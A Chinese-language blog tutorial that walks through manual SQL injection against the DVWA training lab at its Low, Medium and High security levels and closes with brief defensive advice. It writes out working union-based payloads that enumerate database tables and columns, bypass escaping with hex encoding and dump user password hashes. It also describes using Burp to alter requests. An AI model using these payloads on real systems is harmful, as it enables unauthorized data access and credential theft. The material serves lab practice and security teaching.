首页 > 数据库 >DVWA 之 SQL Injection-SQL注入

DVWA 之 SQL Injection-SQL注入

时间:2023-03-05 09:14:56浏览次数:38  
标签:name union DVWA 查询 SQL Injection select users

七、SQL Injection-SQL注入

原理

SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到恶意执行SQL语句的目的。

手工注入常规思路

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定回显位置
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段
  7. 得到数据

1. Low

漏洞利用

现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。

1.判断是否存在注入,注入是字符型还是数字型

输入1,查询成功

输入1',返回SQL语法错误

输入1' or '2'='2,查询成功

表明存在字符型注入

2.猜解SQL查询语句中的字段数

输入1′ order by 1 #,查询成功:

输入1′ order by 2 #,查询成功:

输入1′ order by 3 #,查询失败:

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname

3.确定显示的位置

输入1′ union select 1,2 #,查询成功:

4.获取当前数据库

输入1' union select version(),database() #,查询成功:

说明当前的数据库为dvwa

5.获取数据库中的表

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

若出现Illegal mix of collations for operation 'UNION'错误,原因是是union两端的字段的collatie(排序规则)不同,可以下载phpmydamin,解压缩后放到phpstudy/www目录下,在浏览器地址栏输入localhost/phpmyadmin,进入主界面,选择dvwa数据库,在操作栏修改排序规则为utf8_genera_ci即可。

说明数据库dvwa中一共有两个表,guestbook与users。

6.获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.获取数据

输入1' union select 1,group_concat(user,0x3a,password) from users #,查询成功:

这样就得到了users表中所有用户的user、password的数据

2. Medium

Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

漏洞利用

虽然在前端使用了下拉选择菜单,但我们依然可以通过抓包构造请求,提交恶意构造的查询参数。利用Burp修改数据包,绕过防御。

通过Burp抓包发送到Repeater模块,修改id参数的值

查询当前数据库

1 union select version(),database()#

数据库为dvwa

获取数据库中的表

1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

说明数据库dvwa中一共有两个表,guestbook与users。

获取表中的字段名,考虑到单引号被转义,可以利用16进制绕过。('user')

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

获得字段中的数据

1 union select user, password from users#

可以得到users表中所有用户的user、password的数据

3. High

High级别的代码只是在SQL查询语句中添加了LIMIT 1,以此控制只输出一个结果

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接演示最后一步查询数据。

输入1' union select 1,group_concat(user,0x3a,password) from users #

需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

防护方法

  • 使用预编译语句,绑定变量
  • 使用存储过程
  • 检查数据类型
  • 使用安全函数

标签:name,union,DVWA,查询,SQL,Injection,select,users
From: https://www.cnblogs.com/augustine0654/p/17179712.html

相关文章

  • DVWA 之 SQL Injection(Blind) - SQL注入(盲注)
    八、SQLInjection(Blind)-SQL注入(盲注)原理SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常无法从显示页面......
  • .Net Core Console&Dependency injection
    前言有时候想快速验证一些想法,新建一个控制台来弄,可控制台模板是轻量级的应用程序模板,不具备配置、日志、依赖注入等一些功能。依赖注入在Asp.NetCore应用程序中,可以......
  • SQL中只要用到聚合函数就一定要用到group by 吗?
    今天记录一个弱智问题,一直没发现这个问题。答:看情况1、当聚集函数和非聚集函数出现在一起时,需要将非聚集函数进行groupby2、当只做聚集函数查询时候,就不需要进行分组了......
  • SQL99语法实现多表查询
    3.SQL99语法实现多表查询3.1内连接(INNERJOIN)的实现语法SELECT字段列表FROMA表INNERJOINB表ON关联条件WHERE等其他子句;例SELECTe.employee_id,e.last......
  • Mysql 8.0 实现创建用户,指定用户只能访问指定的数据库中的表
    最近在做公司项目的过程中,出现了这样的需求。第三方系统需要将数据写到我们的业务系统中,由于目前这些数据没有实际的使用场景,在讨论下,为简单快捷,选择第二种方案,即不书写接......
  • DVWA 之 CSRF-跨站请求伪造
    三、CSRF-跨站请求伪造原理指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身......
  • SqlServer As 关键字什么情况下可以省略什么情况不可以省略
    -列别名:可以直接在列名后面添加别名,也可以使用`AS`关键字。-表别名:可以使用`AS`关键字指定,也可以直接写表名并在其后加上别名。但是,在给子查询结果集命名时,必须用`......
  • MySQL数据库:范式
    按照“数据库规范化”对表进行设计,其目的就是减少数据库中的数据冗余,以增加数据的一致性。常见的范式有1NF、2NF、3NF、BCNF。下面对这几种常见的范式进行简要分析。1、1N......
  • MySQL自增主键auto_increment原理 与 自增主键出现间隙不连续现象的定位
    一、背景:1.1、业务描述与SQL:为了保存机器上报信息(业务需求是每个机器只需保存最新的一条记录),原SQL语句如下(其中,machineId的为唯一索引,t_report_pad的id为bigint类型......
  • DVWA 之 Command Injection-命令注入
    二、CommandInjection-命令注入原理命令注入是指对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令......